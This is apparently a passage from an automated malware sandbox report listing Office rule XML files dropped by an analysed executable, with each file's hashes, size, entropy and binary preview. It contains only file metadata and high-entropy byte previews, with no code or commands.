SHA-512:	72BCA20A0AB93A500A92F06F02BA5D7C27417A746E6D0E1367FB10AB6455F2A7ACC0BA8AA5057C05F5295D487F481FD3DDFBE82D6D4369B630BC8379ED87E592
Malicious:	false
Preview:	<?xml/.L....#.[..r....\|/M.A..g.;N.G..c........tf.7.HSZ..B........S{".P..T.E%P.......v60...p-i].O.I._.[ZH.vAw.5.8...1?9...-Rn.x...Z?9...7.$..Zb....c.1 .Q.......^y=..\|{h..wRx.u...L..r.Be.bg.....}..k._.o>}.]=...u.N.l..........W..{...6sG[...4..-..HTs..=....W..N.....r.p..........a..E..PoD..(....&.V..L.[q...,...7..]`wJ..=.;.-xD...r.:s.......[.....>..U).\!Y..fM.ZL...%%..g.(.....i.p:6..v.._.+.G<pc).H.5.:.VO.y...D.........p.A.,.,R._..J..M...et.5.=n!.....wX1me...s...L...\...E.......vI.......Cj...L.~..QFo...... )...........xM:,N..k..SjrpSv..c.....W..9..Y8T..x.j,.`$k.[....(J..nw.3.iv.}.G..f{.......:..9.t..2v3L.qJo..y..$....6.....c.'R.o\)Y.......'b..)^.8....#....6..jg..<.[..?l.9..lz....x4.C.E\...o9.."...v%.-T...)0:2....R../.VS.w).\..p.E...s..2.?&.,..Q...n.S.SLF..O...&-B.kG.twHH.uo.8.....2........n..^......T `.....7.NT...H?b&}N].4..j:fA.3....p....c........$+v...0o.'.D..m.1..?.\...vK.j....5.....w.8N.L......R.Q........l.%.M..../..NB......\9R...6

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700201v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1726
Entropy (8bit):	7.8712367932833684
Encrypted:	false
SSDEEP:	48:+fdWxGcyGYY2fg2far30dL3uGUS4gipJmsD:EdsYlg2faT0dTL4LeI
MD5:	9EEE4C8EA7FAF5C2C60C154E76B9729D
SHA1:	D2C53F9D1F9FA7637EDA39E0F1A980668F0C9D1F
SHA-256:	0BA01782AC5D6E656CCE15C303E0A365FDECFCBFB0ED1F6ABBD4159F26E20AD7
SHA-512:	1EA9FE0D239C388809E391F9ECCE7A559BE233A4528FC25448C3416EE63E7F9166584867C6D3B3991B1C2CA66CC65FBAC0EFB95CD5EF3E60E9F163F25EE84606
Malicious:	false
Preview:	<?xml...t....nt...7...J#..T.I.7.P.............s.no..0MM.D.....8.).z8_K....P!"...2..".-..bX......7.B...?.i.......1..5.(M...B34=..;.E..UW9...ruT..^IE.(..xjO...9..D........2...[Q...~.m.........z^J..d..............T..f...P.m._.H.).d.>..8.......UK...{.......6..=P\|:..v\|.2.&.0;.U.+..S..q=1+C.V.)...v=v.....j....}..e......[f.C..<.0...).~..o..KUN.R.T.r.x...e...-...t..>e-.>.H.....pr#.....>...M..5.(._.c.!......<...7)...?..(.e..,.......S......Y.z._.....h..9~s..>.....\|...x....._....y..,}k$R..H'z..EOecJ$g.._.........]w.....1;........7.N.1.../^........+.s0F..S}w..v...Qz..f...0........8._...k.M.......%.^...G....6..#.@....o...w...Sm.....(.@......'.......2..43y.....t...x.}..........d#.b.E....Z^#...Z.........'MAE+.0.........X>......[...B.4...q/.....s..?Q...rN...al......%@.......U..d.....*p..O;..7M.q2.9...].@.....N....+.?..M...\|..~~o.....D..W.B.@.V;.._.........b.._7>..:p...{.x&..r!Kw?s...Z..E.4.B..s)XO."8.2h.....s..M...C....0)..w.....s.-....Y.=.".E

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700250v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1691
Entropy (8bit):	7.874068169841827
Encrypted:	false
SSDEEP:	48:Du21nwNSAFVmWJRu4HGVzLSiLV4qPwgK+jSGxKjD:DuZNNV3JRJninoTmSDv
MD5:	D1E0A19CBEE849A48180E781397073FA
SHA1:	715CEDEC8B5C6C028A19C96C91127F4DD7317817
SHA-256:	02B576D8EE8269D88BAC0723773B4736CE18C32B1546007A6E42E7064F712329
SHA-512:	0DF03F5A0A60258C1042FC38DA2BAEC46CF69867B7149B659D547E3EA745EE8111FB365737F16789BA8FF137BF0A821B051AF8516D9544E2C5BC4AF027BA0A86
Malicious:	false
Preview:	<?xml...+....h.@..U.s.....KiZ.."?t.Q.28...rz.hQ=x._.. .j.9._7C..c...@.l>.Cg.@O_..9#..]..b...kH..~# ....Ac0.FAb......e<3..\X..FV.....Z1....u.[B...aE3.....c...]&.........s.)..4B8f..]w.a..V7...p.8.%....\..9....c".-S......5.F.....\|.'.F.....q.\]GK. .1'...t{XQv..1.i..Spc.5.=.........b...... .``...".&5.~.Y..Ecl.$../...U..~.R..l\|aB..}v...C..8..._...I.DM.M..IL{..m.9........b.U..l...y.O`?;..T.er.q.a.Uh_uQ..Y..z......j...xV.io.\\_.h5.]...$...S."h.........&.'....)g..p.......:.I4...~.2...A...U/O...d.R.B."...E~.v.L./P......_...Y..e.z_.W....l:.. ...(#.x(Q.."...5cK`..7...3"...,./v..S.~\|.^...`H...Y.4.....N.4.....{.....\..F<....D..W`ys.>...yS;g...sR....%....7.]"....3.......r.ns.......srR.u.O..P..k+..c.2Xe.x.,.....pO.......[..Q...(...}<...Z.".Of.O&..v...k...W.+6....;.L..a./.>l..=.......R!...K.B..3..7.xO.>.........{+.Gy..5.....`...\|j...\D..V...1...{.q..*.3..0....@...[I.Fy..\|%.{X7.........>....."...:..../...Re...'<!Q........1#..H......q........T

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700251v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1728
Entropy (8bit):	7.866074607885517
Encrypted:	false
SSDEEP:	48:FZ6y5wDLgKFDXMk80f1Hq3OsmJzTcW2z2D:L9W3FD8k80f1Hq3cpTcW2C
MD5:	BB43C1F15D0683C6CBAEFB14C3A537E9
SHA1:	5510D1A593DDC1376EE11D29D7742EB72F88C9CD
SHA-256:	148D3F009F73A47E35F4475106ED431D5331DC37D8FD77FD6857ABAAF6904769
SHA-512:	1C69516FF48FF3C8A642B2E18D8AF91BA66EA1A008E3A48688801154D4F52F9962D750C4BF2A30FABAF0A3D183EFDF24F2EDAF7F500D2A32BEDBCE6758454723
Malicious:	false
Preview:	<?xml_.....rH.^.[9.q..GS-...B..C...$./.l..{J..\|.r...&.e&.lA.?.y.9s3sJpl;..@B...N...a.Ql......f.`........v..'f./..>B....+).7....=.).]M.uD1..Z..)eh.;]s."J.z.....LP;P8..K."...$4.wMk.......J..I.._...?s.-F....3n}...\.6.`.....;p..k.rj.T.........\.....{&](^.I1..#B+r.9.x.p..%........(L.am#...6:..&......T......y..f0..W.2P.b......L..M.^.G.....?R..r.....W/....>A..Z!.S.R.P.p.5{.Q.......I.N....zQ..J..PW&..ZP..?...g5{.UjB.l.\..=.#.......d.2"H.?.....N..f.....X........F..X.U.....:@..@!4..........."....T.q#.v...TP..>B.).@B.....y.ruB....;..^.h .d..[..I^I.~>.W..Z.k!.).=../.. r..{.N..W.(..j...s.....8..U..A'z.c..=.)u.!...=....Pq.lG.b..l......].cQy..F..CC>.Ur.#z....~..@.[....C......FQ...)?+4.E.:7Ng.,.#.....^.0....(Pqa..I8..;..i..H..N.;....[..\|`...m.U..._...^.W@.4.3....3z..m..f.\|D../...".l.s..Vj..T.\...p..m.h.\|l.e.....2...B..<.X...CNO.x...Q..E.w....d...?.P.N........s.,...o........:\|...;y..~hz>..}p+..k\7o.oop.....j!.V..].9"KU.$.A.G...NA......J...DP....I...a{...CI.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700300v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1697
Entropy (8bit):	7.891307818386002
Encrypted:	false
SSDEEP:	48:q2PW/4buVFMXQEoUCKjlU7CHkOyGTzUSD:pPnBxjV+ah
MD5:	E66E4912FCB477F5D836FD19BF8E34B0
SHA1:	D99352B8CB968C3E4E30E0DE87BF68B250C0ACEA
SHA-256:	B352708B3B36FE08DF0A86F6A0D7CEEFE86D1C883C9F777B2411064593B0BE15
SHA-512:	BD734F8C68D7D738D4BD775104692F7167473517DF1ADBE5896E3DD59C10B225FA37C4DAB739E64F50529B4C78679FA3292C8765FDD47A62882841E96E336936
Malicious:	false
Preview:	<?xml.rN..Y.A.....LO+.V...E.0R....&..A+..:..>L..IR%U.... .6.c..c...P.s.....i!x...&@..xZ\1.?...a.7...T..&......>v... ...........,Qm.........T... n..U7k.....c.V....v.7....4..cO..S....X....)%7....@......"V..$.~.(.m.....N(;....A..R...n....i.R..S...hW./..g........6.)..h.Y..$.f...Z..[[m8.O.e.L........h.U&.F.n...x..M.Qd.....K......K.....[.G.........`...Iw......p.q).0wS:.u.......H..@D\|..Q._)..,^.E.5Wj?...d.N`...K.....9;.[.o3<a.o...}.k...^.<;6...........l..H..N... ....`..-b..!h~>.\..l.M..Q..R..\|\|^W.!iHh@.....,K[b..x..r..:..`.O.....L...ZU.}N.../z...4...#.=..`42.....7....0.]..ywm.......\|g....[..#.b.v.&@....)..&.U.A..3=}.>e-......D......8"}...m.Q.P.X&z....TI.........8...Z.%.!]......qA.../..]..k ....;...n..W...8......f...w......]X..x..}.~...~}r.....^5.7 ...,..K...=...H...au...Ii7d..=.*.........y...GYp.c ...LW...lV..9O..... .@C...F/.L.s!.k=.ZVL....4.=J1].v.~...YS."......U..........w.[.8...q...y.j.\|.:...............l.. ..G.pX....'......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700301v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1734
Entropy (8bit):	7.89251954203999
Encrypted:	false
SSDEEP:	48:496p8f1DMpnePCQAiLVp8TKx+WgqPs16Hq9BVD:49MsPCQAAX+O2LDt
MD5:	824D7A873403CDE29C5E9281ED1001C6
SHA1:	9F97F833FF95B9D55A6EB317D121B92C48CE8CEB
SHA-256:	5B67E6DA6E999CE4B4F460B6E71C307AD1E8DA06D7249BB346AC6A34761B887E
SHA-512:	299BA65E682179579EC5FF0E9B511CF00A7B74EFA689CD8486DCE206FFD81E40A836B74C1774565352A157029EFAA7AEC5D9921B293BEE68EAF02E06BE72E735
Malicious:	false
Preview:	<?xml....I.4.iF..._....F..........#.N.]..XB....^##.&.:..6u......_.y..j.a..a....T.".x(0..n.8p`.d.y.H..f.;..3....:.....[......\....0.6....CW0....r.S...M....)>..C..6]'kI.f....k.W\|.?j..j.z..qeCw..gn.`.i..u=.:C.L...;`...J.~.I?..8..n.D\|iW.A}J.^....(&&@x..u._...\|..P.[.....rJ<.......v..198XbI....;mo...3..B..f...gB.~s.b>.Bk......N....r-tR.t.F^.#.....4.E..Z.s..k5...{9?.~~.S...P;....,N...A.~.>JEIi;..pL..^.e..AZ_..,x...Z....^x.7A!.?Y.2.%.mM.D..p.....e..6..b....d[...#zd"...ufh.h.. ..5.I.A@.c....q.=`_-.\|E..V..~.1.h.i%,.Q.o.A..Q,.....r..m2V2.:....y...g.=.z8.y..p...Y...V_.........$....G.._..U.UX..7.."..+Ns.&a.@.,N?.nZ.7.@.6..fm....<7....=\|O.7~`....."...s..'.,#..l..M..Q......-!S......."........M8......NS.O..8I!..``)E....k..[..?..>...".m{......X)..~_A~...h-5...E........c......R...5...............K.......H{..r.cEH.........h~.].......Ok.?.....\|....0...RQ.d.R....w...v.\|.T..\|...Y...}O/3l!..(..i....+..\.. ...zt...5..7.x...P.g..k.m?.T..../S.l.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700350v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1693
Entropy (8bit):	7.867502257795178
Encrypted:	false
SSDEEP:	24:U/I1kqg2LRVOeE3WpwtqV9RXbGx+xSVZfAg1KK0EJ3QYkpIwhi9khEkWpJlbD:U/7qgKRVOfqXRXt+Zfh1AEZ/9khCJ1D
MD5:	69E5180BE10EB6E79C06AE328E379720
SHA1:	4818B4CC0D8204D8455C143DE92BC2CDC20CB19F
SHA-256:	9C7AF971D0127C37668CF2DB1DB01C4B9F928975E2999592D3D1C102AD80507A
SHA-512:	B08C20A956010A0D52BF860C71CC00DA90DB28E049B191F8509A8BCF1F815F84CF26C49EAB5DDD595A717606B7F9C55CA881CC2DEA11C2D9F1674080BFE7C0D0
Malicious:	false
Preview:	<?xml8.r,..J,.bW.W^._s.K?.m.]7$.jo4.^.....v.;.3.j...(&V.b~.....r"(.....,.&...+..e..B.2.(R.....>..bI.S....p~..&.ppB..PLf..#..A .+.["e.............q;3....._o-..(%...w......M........D.e6i...'U....O..^ny.!.,...a>W/..c.fB.v.<.Gg... V..4..{......Z.0.:.&3...!....-x..\..R...uJ.A.......&^.".h..uD\|bP.7?..H...@.C.'l..D`.&..%N\|.....;..)...w...d.C7.v/...,G..GD.5<[..WB..,ks......eJ...!..g}J...i=zvNy.... ~=.2H.yx.....!........T.........GS..<.Lj..y.T..;7....rlEc,...X......C..).[.y.........D....J.... ....uc..3.!q".......a..><.w.c~.......g.h.n...W..r\....-.Vbi...Z.X1...S..Q....M.q.\|.....F...=.z..o.'...e...."`...s.........t;..n.........3.I\|..N3_..FO.7..z.".q...Z..}.v......62jT..J...i1..,...1...nt...h.....)fL..l.._[..o.f3WK..om.,...."...).t>/.U.UZ..4..Tb.b.#.^.....\...eL..>.....Ue.....VY4.#.\t.U.....N...?.C\2.z.,.!W.Rl...6..2.C...H....Q.Z.LV..^..(&.t.&.....h.`y.T%....[D^.........].HUi...Gs."..d.:.Q".]..NU.......=(}......#j..........O...X...iB....L..4Q.(...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700351v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1730
Entropy (8bit):	7.874806055169245
Encrypted:	false
SSDEEP:	48:Jun6dznUJGCjJOST5g8ryH3Yy/ujoHlWv8mAhGpyD:k69U4CjbT5Hy/xHlC8mAhGpa
MD5:	952379D1CC72FC393673550AB0074F90
SHA1:	61EE570F368EED9A3D1CD2F78D87F82EEDD0471B
SHA-256:	BC05B5663805EB9CB743BC88FE1F678A0789CD781B76EEF46C8A2F60AE5CFD52
SHA-512:	ACE636E5797287057D471D7FB277AF784785A5533E7DDBA77D8107C2A3C468C68B3E2880065F92D527AB15B616F4598E18F8109D380CF3D2FC6CB21FEAC34E19
Malicious:	false
Preview:	<?xml.n...p.8..5r6.Pt.....#..0;..$.$._.!.A.....[.f\u.}.qs9K..mz.........YrB.>]r4...!\z[...aOC..V[......f.....rw..t.;i......m1...(..O. -..DY.bi.cb0...{;Nu..2h.]...c..P\|:...!%....@.b....R...h..$..E.6ZV+..[.7R4.f...}X.M...[o)......(.T..@...wSWN..........7`^V...%sUu..T;<......r....>..h...v'...P..+V...c..4.5..e..=e....dm..u..$T.f..0.n.x.}....f....+zX.............b../.."c...y...5..]...R..WT.GX>.Q../..s.A.{] .k..f....y_n..21..v]...Ju.M)J...F..Qv/ N_Tr<.."..c.V=$~....W."F495-..1.G..B..K.......0.A...o~8...uu...E-...:..n..c..q\b@k...+....@9.b.)._X.E.ym.Z.(.."W..%..W.WRm..*U....NPm.......z\1V-&E8.1.9.....m..H.'..'JG.E.\.x.c..Em.@t..K.(.>........v$...:....^1u.7.2,\.1..9.mk..9..Z.@:]...v...7..d...;D..s.X.'..c.1H.u't....}v.g..P..9d.'..U...FE...3E......wW..BO^...d....:...X..1..xm.i...M"8F.rHT..u.LA.@K.-N...._..2.a0.?t.B.O.~...R+q%.I...''I.9...z.l.c...N+.g>t.)+.W........o.....po)......uN.U)2...J.(M6d.X..%.A,A.:%..&Er.....,2#.x....q...T..q).R...K

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700400v2.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1699
Entropy (8bit):	7.8837856649460445
Encrypted:	false
SSDEEP:	48:EkNESkJuzqK94zs/FHpwJT+jAwOXi/E0n56alsD:TNnkJuzrC4/FpwJxwQi/E0v+
MD5:	C8C2CA5EF4F701493E41B0476212BF60
SHA1:	428E758A73D103B679C5D1B5321A8575EDAA6141
SHA-256:	E8DB0DB6BAA9963AA16406B6E2A3FD55D08FAC879D21B44E6EC436BB75B40024
SHA-512:	DD0624ACF94E58B12A0683949F60CC510BF9D9EB80A140B5B343F936D8687F9BE8DE9CD719E818B07B62B50F96B2EDF084A4B2EE8B63472DC6F1CE288D540E3D
Malicious:	false
Preview:	<?xmlk1....DD:.p.0..9............H.9.z]\|...n}.q\[..<\?..2b..f..p...!.dV..5...Tv.t;o:j8np.@..Q....4.@.j.......V.......O.g!-..wV.......x...0.w.1S.h.........X.....~1......#..N.G....m...&.............=...!b..c>).v.P..k9.p..~.&b...Y.....fT;.\..M`..+..........&......u...P.4....!4....zuP>.I.....~P.v.wX.z.......C......b2:v..E.I....N.@Q....n.d...Q.o.N...D....k....jv.j.Y`l&5]......@.NK;+h.>[..t.p....W,.v.L...K+o.M.@..>...#.c..{..+C.g......2..r..(.cQ^.rd...'.$..wh....EA.._..D.=..gm.oX.ny9..7..Q...M.T>...-.n..^....p?V.=.;.N.Ook(o.C.!P..BR..3....=.s=.:[E.LE.....G....\.S..oB..<...D..b.....y..-#.n...~(.....-bF....~A.<.~x.r.2....;a......T.../'8.0.:.E2D-..w.v.p..>.R..:..B.x.iy2 .9.t.I.,.._....]..~.!V..3.N.`.?.X.P5.....^c+.o..+.......m,Y...^.".!K.x.h%.f..G...[.....z...0.F.... 5u.....M.p..p.I.F..u.M]l..ov..;..k....I.!.0d.?.j.{....!.Wp..8\|AQ..j\>0.R.....1..+....=....kC..8..~Y.#=...U.S.7.[.l?\|.9..E....p...."..3=..g..kq..j.s.e....F..sUD.}.yeb...&....P:. p8d.w

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700401v2.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1736
Entropy (8bit):	7.879217302779657
Encrypted:	false
SSDEEP:	48:nmchaQqMsyCF7RXPXs/jOHxAZlBF6iLvHxhjBGVu/D:mcCdVX3HxI96qvH9GVc
MD5:	5A943F4820E1D188FDA796F63DC794B0
SHA1:	CF1A632C2E7135863614F8A75CAD860A7AB0DEC1
SHA-256:	1196BBA03B8A8D9734977CAADF0525584FEA2A9BB0991C2389A0F727D45F0224
SHA-512:	369EE20681676D02B99FB037424C06868C18386E2766676B951038B61A59AACB4CA740E809ABB77EC10564084BB35701939016533AE5CC0013265BAC9B5EB38E
Malicious:	false
Preview:	<?xml.D-6.5..\.cM...[......D.7q/.4..^F.>.+D.U...... ....c...I...B.......Szz.N.P.g...4......^..V..1.".......l.({.....`.g..7h.;.`.....t`.]~0,.....'..~/......."{5.m..L.g..xl..>a.%W........Q.>..eh..E.....dOL.w.K......{....Hd+......\|.<rqf...2.J.Np~q.........\|.T...v....J.U...&.\.....1..K>.o.4..y`Fb7.e......D....~{'.v.>.~-.b].........3.9...&....P[...........9"....8M..{..f......J....bR.fl.2.]..1.o...`qn....jQ<.P.......(yO.6L>{X..OP.&.%E>.u...a.8.XTb.....o.........g!..t.....C^...:.10..\=Q.g.#.~..[^Iva.........6.....V...#..W.G..4....}..0P.#W.).M.a..=U..?{..S..[y`t^4.,D".?..:..Z...8...c.?.r.-w.'.....qb.6D.*...Jc.'D.2..m..L.4..m......t.CqsK.;..../.O....fnJ...Ju...A..>...H.T"....K....L.X..B..:...w..st.z}.M...... Re.qo..p.5-ubL.. ..$.r....&U~..1....AG...>.I...E....1..Ua......'._#.z.F.....Du.u...R..V....IZ'G.oEZ.c.Kr8T<D.~...h.....;.W...%@'}..^5R0...{j3...Qt.SG...G&.mo...o......kE......v{$.)}....Nn\|D4..2.T.@......L.....M.H..v.....t...R.k[....C

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700450v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1689
Entropy (8bit):	7.899675790988525
Encrypted:	false
SSDEEP:	48:br3Xze0SO52U94FJLmYK1QVH/xWm/GH39jPHgD:XBSy2e4nN/uH3F8
MD5:	10F710E00BC1E2607C2ADD2FE8E86CE0
SHA1:	5BDC8C85651FA944D0AA4A02A2523EBCC0245B49
SHA-256:	CFD730FECCF587DF802BD900851CC135CA6754D448A7BC8CD3F1F8BE2191C8CD
SHA-512:	9703EC8EFD80CFD56DC0363D83D8BE6B4158FB8A35128696A89715F02D18A17AD6C0EFDFFF7412E2A477F8C36B5B4FB85F43FA4ABE53CB9D5550DCFA7226881A
Malicious:	false
Preview:	<?xmlca\|..2..E...N.......t`..E...f.W.....G..>..p.O.m.........sM.>.`.2L...r.Q....E..z$....P....ey..=..oL/.#.]us....jj..t...p..&{.s9).Q.\|.....a..8...7.\`.f.o...Fz.t..^B....D]e...~..p.....i^.xo..~Q.c..!G.9+E.....F2.4..=.Y.vm...`...Z...O.+.6\|...m.`..-.l..LM..A=...8..<8...1..&OU.?Wp.%...%"\|.>../...XkjCl...Nx..q.o>..E..].."(.vN..N..I.r?.S..w...>..4A.4.I.......U....?{&0Iy..z...g..^.NK..h-.6.X....[I=\.Y .;....\|.0....Z[J.$....D.&6}..u,...F,.T..Z~........MC...L..;.$^,.~).e..M....?0K...d..!p...'.p..D..T.$.L.##.F.Cyx..}R...J...K..2M1'..iZ..t.M......1F....58.L.{F........0.\|....[9..k..=........TL....%....w...f7y.Q.<...C.... ...8.Q..........5n..$..C...U'(.M.....Y........s..Mb..,.....3Q.....e&w.P..4.X....C...'..Rx..g?.^...$dU.....}..qf.Y.K..)..]..a.9..(....b..EjS.E....2...N.'/...dm.A..^.p.$..[[...Fe4.t...is..(p..?&..._.}.`......+..j..\.v.s.#=-..........wY;..-n.T..\..,e..?..+..{..a..........v.1c.\|+..G@...K.h...*X..E.w.NO.tLe..E.<.m..........0.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700451v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1726
Entropy (8bit):	7.882815667811425
Encrypted:	false
SSDEEP:	48:nBsYgECPPOoCH7teP6BQE6quWMlqbaYxwlRID:nBvgfP6oPdt7lLU
MD5:	F12962010F2591AFC08B855C5C944E1C
SHA1:	C1346631CF05E612BB1D84F25716568FC7FC05E1
SHA-256:	D70E7BB9620E59F0393771ADACB500C0E8B26C81813C2F3BD5891D1EE402BDD4
SHA-512:	9B752ADF4FC3AE6C6400674025AC99AEF919372359DD477B411876B0E806B4B869D1BF2B190E7EA5D9C701FAF85839F6A1CB29E51D65D6166690F4339CF99B78
Malicious:	false
Preview:	<?xml^ky..6....!Al'.A..3......./o..wg...........Z...}.....wtN.kq.....<O...P.<...lH...M...../.....+...Ok.....Z.........K.Z3.s.x.@.>.....+.....TK...0.RQ..$Gr....P.?-i..cB.....^\|v...F.....Ax...j...0wZ.d.9g..+\.qo[.U,....t`.aK...q.F....If~f..H........_........h,H...($.ja...::J[..~'..j..B.\|...>Ne.......T...d.].jy.....Im{...........<..4...x..>.Eu@....v.....1$=.....(...i.o.5...Z.E,..vc.j.B...p....(..\.Rs....J^......-.zI.....J..'P...h.....".K.......oj...6..`.z.}.....Q..nY.+ r.p..2..p{N.M!..Q`]...,......Dv.[0..A)....q.}.@....RI......B..\.4{.I............nB.Q.=.m.....A^.7..R._y...............A$..1..k...C....)...."?.N..j'.7..X....?.l:#&$.3...g.n..(......\|..7P>....G2.oq_.O..h...S.......4..n..!.....\..8.9...FDM..`.F..{..I......'.UpQ..B...!..O:.....Nv.(..g.~c&2MK3..{.....Eq..C.a..m[...4'.:...97.*8.ZZ.C$Kz.7..O.n..I.gj.U.A.....f..x.N....@s...G.9.6...8.,.......r......./.:.=....;........2....IG.a.0..5..jb...R6%h...P....w.N.."...h..u.......(....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700500v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1701
Entropy (8bit):	7.885493525088643
Encrypted:	false
SSDEEP:	48:oyCvwU/omstYQF6U86iYvsxW5y6zebFWO75HPtsNRD:gwU/ZsmQsxW5yv9vW
MD5:	E6F1CA5D010230AEF71C53CF2BBB0C95
SHA1:	CBAD6EEA2EF078C7939BBF0FB748C0326047363D
SHA-256:	6C5235DB5CB2D9BA2C67C7A9AB6C9785D5B870FFAD1A06F60A8289B2D6BF7A04
SHA-512:	22FEB20D03851650608D4C261AC697779C5DB6A363CF1DF6A18598CBADB53EDE173293D188827595F5C23ED4246FA2090DAEEDB5EDDA18CDCDEE6A187DB4B0E1
Malicious:	false
Preview:	<?xml..y...8r,.?..=..I.s.t..#.\|.[:"..s.K.e.t?..OJ..J1o.....j..0..x~.dR.\|..g....H....Tf.\|..>.h.9;..U.;\...{....\yc..h..P.....w.h-H.(...S...}.y:z...%:j.a.e..QM.Re.j...Q.K... X..... .p7b..c....2.r.+.Wa.b..)._...vg..?Y.,.H}R..t....xTM..O......@.Q.!%g5+c.d[YM.6..........y.yf..X>.0..[.p.......v"..Za.~..s........=J...8.....?c..t...;....\.jf6.J;.5..4B..f[...X...-e/l.)zH...W.7...........W-.I..i.......'JO...?..wJx7.m.$&..D.j.&..R}....V.....VM...{8<w%q.m....]....^.6...b..]?s...7...<.n.$m.{ .......<.#.m\w.8xM...QS..B.R...#A+.+....#._.Q.Q...........5...5W..{....>2.F.$.c._.]T.FH.y.<uM<...........g.6...5...S...5K...[......4G2._.M.lL}z..x....:.e.g.F;r.."..T............./..W.G..Rk....&En......=+.q=.N[U+.b(..H.X..D......}Z.O...b..a.\iH...#.8......B..K......,.."^..~...Jy.N.\|CpX..P\|.#.!.)....;e.u.....G.H=.8.xM....b......yH=qKV_...S-`Q..7y...t.&>...=.e.H.......&F....YPNr.^..{....r....-....j}....3..$..............."QK......b...V-...U.c/u..[..Sj..+,.7..;]..9...#>

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700501v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1738
Entropy (8bit):	7.9032264301664865
Encrypted:	false
SSDEEP:	24:YSB9WArCJG83tzC+61WrvGn7Zeg9NcN7GR8Fene4n11UQVTVWkaNjvbD:VrCj3N6aeTCN7GRhnd7JwNjzD
MD5:	7E0891F27536D5536934E8683AC4D189
SHA1:	6882089F7DCAB6B97F4D08C3228FE05F14EC5BBC
SHA-256:	C6663AE17267179A2350A5413B0295501913EE96E4475D7C31FFF3A37D736E68
SHA-512:	60DC36BC7D9D3A81EC6DA0EC4EBA9D05806B96A62C4B6935A21A8045128588408011DC2A049AAB060FBD50F563B5429B0ADBAC7C50D0E3BDAB10C5C69FC45293
Malicious:	false
Preview:	<?xmle.v./.....G...7.4.........!:......\|...#..g....H..5d.U..x..LVk'.....l<....h...r95.`]..3T.....CO.....N...8O8....,H8$.....p:..a3;...E.........~......e...'?%.b/.Wb..N0..^.,j.\|\|...]<..GLyq..i....@..I....vyI..(.nv.......wsk.>2...p.....\i......6].'.m.Rk.'....V..a....`.`....b..x.'~r.;`<?K...q2g4..5b.).(...].V...>(.....H.v.<.....v.......F..D......)hZs..r..zr..=.I...Q:.S..;...[..Z...k...V..<.8.2'...z..]u[J..8....3..W...=....z{E..B..05J..#..S..=.,...;bg.LA."..WMD..)............W...x...G.o...y.f..K.$.b7$.%+4..D.;:G..`..kKC.fi.;<.zF...=.K......W.-f.0T..T\...p.. G..pI.6R...j..8..?r....U.e>..._.,...az.N....p.:T...}_t7..R..h...&..V...4.A..k..p...z$H....!...u&.2....</...\|.....^..H.x....l/....3.9...b..w ..6.:.pt.T.\.Z9.}B.@...?.r....i.......D.s.}. ..%.b.j...d..p.e\.{]..V.8.8.....4L$.r...t.W.D.\|U...d.../.b...:1<.....]pD&.\.CT,..U..Z..Q.en.F......)...m;S{".jc..@f.....O*..w..P7E...3~..q.A.d..(.!Y."5...1e..gP..-.....=N?.n......a(..0.[...<.._+1.Q

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule700550v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1689
Entropy (8bit):	7.884372331507621
Encrypted:	false
SSDEEP:	48:f4p6fiFY4Mf6idsBFkTbXCOPQ82TQo0A6AIFDqD:26T6idumbXCED7D8
MD5:	A5127DEAD2D5A3AF8FFEA59EBCD7B716
SHA1:	1C82CF0BDF871EBAB2CDA0448D7E1CCB2D03F60F
SHA-256:	5650BAB437FF0EC5E17E57F79A3EC22AF4549E9A79822145A2D1EEC45E70879B
SHA-512:	4AB382F4C5E07C49004C69A6AC007F719B124A856BADC04A7C653902F46A41F324F08D0DE84D2FAACF2DF8F5F944AD8CE6D7BF785BDF5871B79513E8206931AC
Malicious:	false
